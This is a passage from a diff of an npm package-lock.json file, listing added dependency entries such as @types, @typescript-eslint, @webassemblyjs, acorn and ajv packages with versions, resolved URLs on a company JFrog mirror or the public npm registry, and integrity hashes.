"sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "@types/prettier": { + "version": "2.7.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/prettier/-/prettier-2.7.3.tgz", + "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==" + }, + "@types/prop-types": { + "version": "15.7.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" + }, + "@types/q": { + "version": "1.5.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/q/-/q-1.5.5.tgz", + "integrity": "sha512-L28j2FcJfSZOnL1WBjDYp2vUHCeIFlyYI/53EwD/rKUBQ7MtUUfbQWiyKJGpcnv4/WgrhWsFKrcPstcAt/J0tQ==" + }, + "@types/qs": { + "version": "6.9.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==" + }, + "@types/range-parser": { + "version": "1.2.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==" + }, + "@types/react": { + "version": "18.2.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/react/-/react-18.2.13.tgz", + "integrity": "sha512-vJ+zElvi/Zn9cVXB5slX2xL8PZodPCwPRDpittQdw43JR2AJ5k3vKdgJJyneV/cYgIbLQUwXa9JVDvUZXGba+Q==", + "requires": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "@types/react-dom": { + "version": "18.2.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/react-dom/-/react-dom-18.2.6.tgz", + "integrity": "sha512-2et4PDvg6PVCyS7fuTc4gPoksV58bW0RwSxWKcPRcHZf0PRUGq03TKcD/rUHe3azfV6/5/biUBJw+HhCQjaP0A==", + "requires": { + "@types/react": "*" + } + }, + "@types/resolve": { + "version": "1.17.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "requires": { + "@types/node": "*" + } + }, + "@types/retry": { + "version": "0.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==" + }, + "@types/scheduler": { + "version": "0.16.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/scheduler/-/scheduler-0.16.3.tgz", + "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" + }, + "@types/semver": { + "version": "7.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/semver/-/semver-7.5.0.tgz", + "integrity": "sha512-G8hZ6XJiHnuhQKR7ZmysCeJWE08o8T0AXtk5darsCaTVsYZhhgUrq53jizaR2FvsoeCwJhlmwTjkXBY5Pn/ZHw==" + }, + "@types/send": { + "version": "0.17.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/send/-/send-0.17.1.tgz", + "integrity": "sha512-Cwo8LE/0rnvX7kIIa3QHCkcuF21c05Ayb0ZfxPiv0W8VRiZiNW/WuRupHKpqqGVGf7SUA44QSOUKaEd9lIrd/Q==", + "requires": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "@types/serve-index": { + "version": "1.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "requires": { + "@types/express": "*" + } + }, + "@types/serve-static": { + "version": "1.15.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/serve-static/-/serve-static-1.15.1.tgz", + "integrity": "sha512-NUo5XNiAdULrJENtJXZZ3fHtfMolzZwczzBbnAeBbqBwG+LaG6YaJtuwzwGSQZ2wsCrxjEhNNjAkKigy3n8teQ==", + "requires": { + "@types/mime": "*", + "@types/node": "*" + } + }, + "@types/sockjs": { + "version": "0.3.33", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "requires": { + "@types/node": "*" + } + }, + "@types/stack-utils": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/stack-utils/-/stack-utils-2.0.1.tgz", + "integrity": "sha512-Hl219/BT5fLAaz6NDkSuhzasy49dwQS/DSdu4MdggFB8zcXv7vflBI3xp7FEmkmdDkBUI2bPUNeMttp2knYdxw==" + }, + "@types/testing-library__jest-dom": { + "version": "5.14.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/testing-library__jest-dom/-/testing-library__jest-dom-5.14.6.tgz", + "integrity": "sha512-FkHXCb+ikSoUP4Y4rOslzTdX5sqYwMxfefKh1GmZ8ce1GOkEHntSp6b5cGadmNfp5e4BMEWOMx+WSKd5/MqlDA==", + "requires": { + "@types/jest": "*" + } + }, + "@types/trusted-types": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/trusted-types/-/trusted-types-2.0.3.tgz", + "integrity": "sha512-NfQ4gyz38SL8sDNrSixxU2Os1a5xcdFxipAFxYEuLUlvU2uDwS4NUpsImcf1//SlWItCVMMLiylsxbmNMToV/g==" + }, + "@types/ws": { + "version": "8.5.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/ws/-/ws-8.5.5.tgz", + "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", + "requires": { + "@types/node": "*" + } + }, + "@types/yargs": { + "version": "16.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs/-/yargs-16.0.5.tgz", + "integrity": "sha512-AxO/ADJOBFJScHbWhq2xAhlWP24rY4aCEG/NFaMvbT3X2MgRsLjhjQwsn0Zi5zn0LG9jUhCCZMeX9Dkuw6k+vQ==", + "requires": { + "@types/yargs-parser": "*" + } + }, + "@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==" + }, + "@typescript-eslint/eslint-plugin": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.60.0.tgz", + "integrity": "sha512-78B+anHLF1TI8Jn/cD0Q00TBYdMgjdOn980JfAVa9yw5sop8nyTfVOQAv6LWywkOGLclDBtv5z3oxN4w7jxyNg==", + "requires": { + "@eslint-community/regexpp": "^4.4.0", + "@typescript-eslint/scope-manager": "5.60.0", + "@typescript-eslint/type-utils": "5.60.0", + "@typescript-eslint/utils": "5.60.0", + "debug": "^4.3.4", + "grapheme-splitter": "^1.0.4", + "ignore": "^5.2.0", + "natural-compare-lite": "^1.4.0", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + } + }, + "@typescript-eslint/experimental-utils": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/experimental-utils/-/experimental-utils-5.60.0.tgz", + "integrity": "sha512-ovid3u7CNBrr0Ct35LUPkNYH4e+z4Kc6dPfSG99oMmH9SfoEoefq09uSnJI4mUb/UM7a/peVM03G+MzLxrD16g==", + "requires": { + "@typescript-eslint/utils": "5.60.0" + } + }, + "@typescript-eslint/parser": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/parser/-/parser-5.60.0.tgz", + "integrity": "sha512-jBONcBsDJ9UoTWrARkRRCgDz6wUggmH5RpQVlt7BimSwaTkTjwypGzKORXbR4/2Hqjk9hgwlon2rVQAjWNpkyQ==", + "requires": { + "@typescript-eslint/scope-manager": "5.60.0", + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/typescript-estree": "5.60.0", + "debug": "^4.3.4" + } + }, + "@typescript-eslint/scope-manager": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/scope-manager/-/scope-manager-5.60.0.tgz", + "integrity": "sha512-hakuzcxPwXi2ihf9WQu1BbRj1e/Pd8ZZwVTG9kfbxAMZstKz8/9OoexIwnmLzShtsdap5U/CoQGRCWlSuPbYxQ==", + "requires": { + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/visitor-keys": "5.60.0" + } + }, + "@typescript-eslint/type-utils": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/type-utils/-/type-utils-5.60.0.tgz", + "integrity": "sha512-X7NsRQddORMYRFH7FWo6sA9Y/zbJ8s1x1RIAtnlj6YprbToTiQnM6vxcMu7iYhdunmoC0rUWlca13D5DVHkK2g==", + "requires": { + "@typescript-eslint/typescript-estree": "5.60.0", + "@typescript-eslint/utils": "5.60.0", + "debug": "^4.3.4", + "tsutils": "^3.21.0" + } + }, + "@typescript-eslint/types": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/types/-/types-5.60.0.tgz", + "integrity": "sha512-ascOuoCpNZBccFVNJRSC6rPq4EmJ2NkuoKnd6LDNyAQmdDnziAtxbCGWCbefG1CNzmDvd05zO36AmB7H8RzKPA==" + }, + "@typescript-eslint/typescript-estree": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/typescript-estree/-/typescript-estree-5.60.0.tgz", + "integrity": "sha512-R43thAuwarC99SnvrBmh26tc7F6sPa2B3evkXp/8q954kYL6Ro56AwASYWtEEi+4j09GbiNAHqYwNNZuNlARGQ==", + "requires": { + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/visitor-keys": "5.60.0", + "debug": "^4.3.4", + "globby": "^11.1.0", + "is-glob": "^4.0.3", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + } + }, + "@typescript-eslint/utils": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/utils/-/utils-5.60.0.tgz", + "integrity": "sha512-ba51uMqDtfLQ5+xHtwlO84vkdjrqNzOnqrnwbMHMRY8Tqeme8C2Q8Fc7LajfGR+e3/4LoYiWXUM6BpIIbHJ4hQ==", + "requires": { + "@eslint-community/eslint-utils": "^4.2.0", + "@types/json-schema": "^7.0.9", + "@types/semver": "^7.3.12", + "@typescript-eslint/scope-manager": "5.60.0", + "@typescript-eslint/types": "5.60.0", + "@typescript-eslint/typescript-estree": "5.60.0", + "eslint-scope": "^5.1.1", + "semver": "^7.3.7" + }, + "dependencies": { + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + } + } + }, + "@typescript-eslint/visitor-keys": { + "version": "5.60.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@typescript-eslint/visitor-keys/-/visitor-keys-5.60.0.tgz", + "integrity": "sha512-wm9Uz71SbCyhUKgcaPRauBdTegUyY/ZWl8gLwD/i/ybJqscrrdVSFImpvUz16BLPChIeKBK5Fa9s6KDQjsjyWw==", + "requires": { + "@typescript-eslint/types": "5.60.0", + "eslint-visitor-keys": "^3.3.0" + } + }, + "@webassemblyjs/ast": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz", + "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==", + "requires": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==" + }, + "@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==" + }, + "@webassemblyjs/helper-buffer": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz", + "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==" + }, + "@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "requires": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==" + }, + "@webassemblyjs/helper-wasm-section": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz", + "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==", + "requires": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.12.1" + } + }, + "@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "requires": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "requires": { + "@xtuc/long": "4.2.2" + } + }, + "@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==" + }, + "@webassemblyjs/wasm-edit": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz", + "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==", + "requires": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-opt": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1", + "@webassemblyjs/wast-printer": "1.12.1" + } + }, + "@webassemblyjs/wasm-gen": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz", + "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==", + "requires": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "@webassemblyjs/wasm-opt": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz", + "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==", + "requires": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-buffer": "1.12.1", + "@webassemblyjs/wasm-gen": "1.12.1", + "@webassemblyjs/wasm-parser": "1.12.1" + } + }, + "@webassemblyjs/wasm-parser": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz", + "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==", + "requires": { + "@webassemblyjs/ast": "1.12.1", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "@webassemblyjs/wast-printer": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz", + "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==", + "requires": { + "@webassemblyjs/ast": "1.12.1", + "@xtuc/long": "4.2.2" + } + }, + "@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "abab": { + "version": "2.0.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==" + }, + "accepts": { + "version": "1.3.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "requires": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + } + }, + "acorn": { + "version": "8.9.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn/-/acorn-8.9.0.tgz", + "integrity": "sha512-jaVNAFBHNLXspO543WnNNPZFRtavh3skAkITqD0/2aeMkKZTN+254PyhwxFYrk3vQ1xfY+2wbesJMs/JC8/PwQ==" + }, + "acorn-globals": { + "version": "6.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "requires": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + }, + "dependencies": { + "acorn": { + "version": "7.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==" + } + } + }, + "acorn-import-attributes": { + "version": "1.9.5", + "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", + "integrity": "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ==", + "requires": {} + }, + "acorn-jsx": { + "version": "5.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "requires": {} + }, + "acorn-walk": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==" + }, + "address": { + "version": "1.2.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==" + }, + "adjust-sourcemap-loader": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz", + "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==", + "requires": { + "loader-utils": "^2.0.0", + "regex-parser": "^2.2.11" + } + }, + "agent-base": { + "version": "6.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "requires": { + "debug": "4" + } + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-formats": { + "version": "2.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "requires": { + "ajv": "^8.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + } + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "requires": {} + }, + "ansi-escapes": { + "version": "4.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "requires": { + "type-fest": "^0.21.3" + } + }, + "ansi-html-community": { + "version": "0.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==" + }, + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": 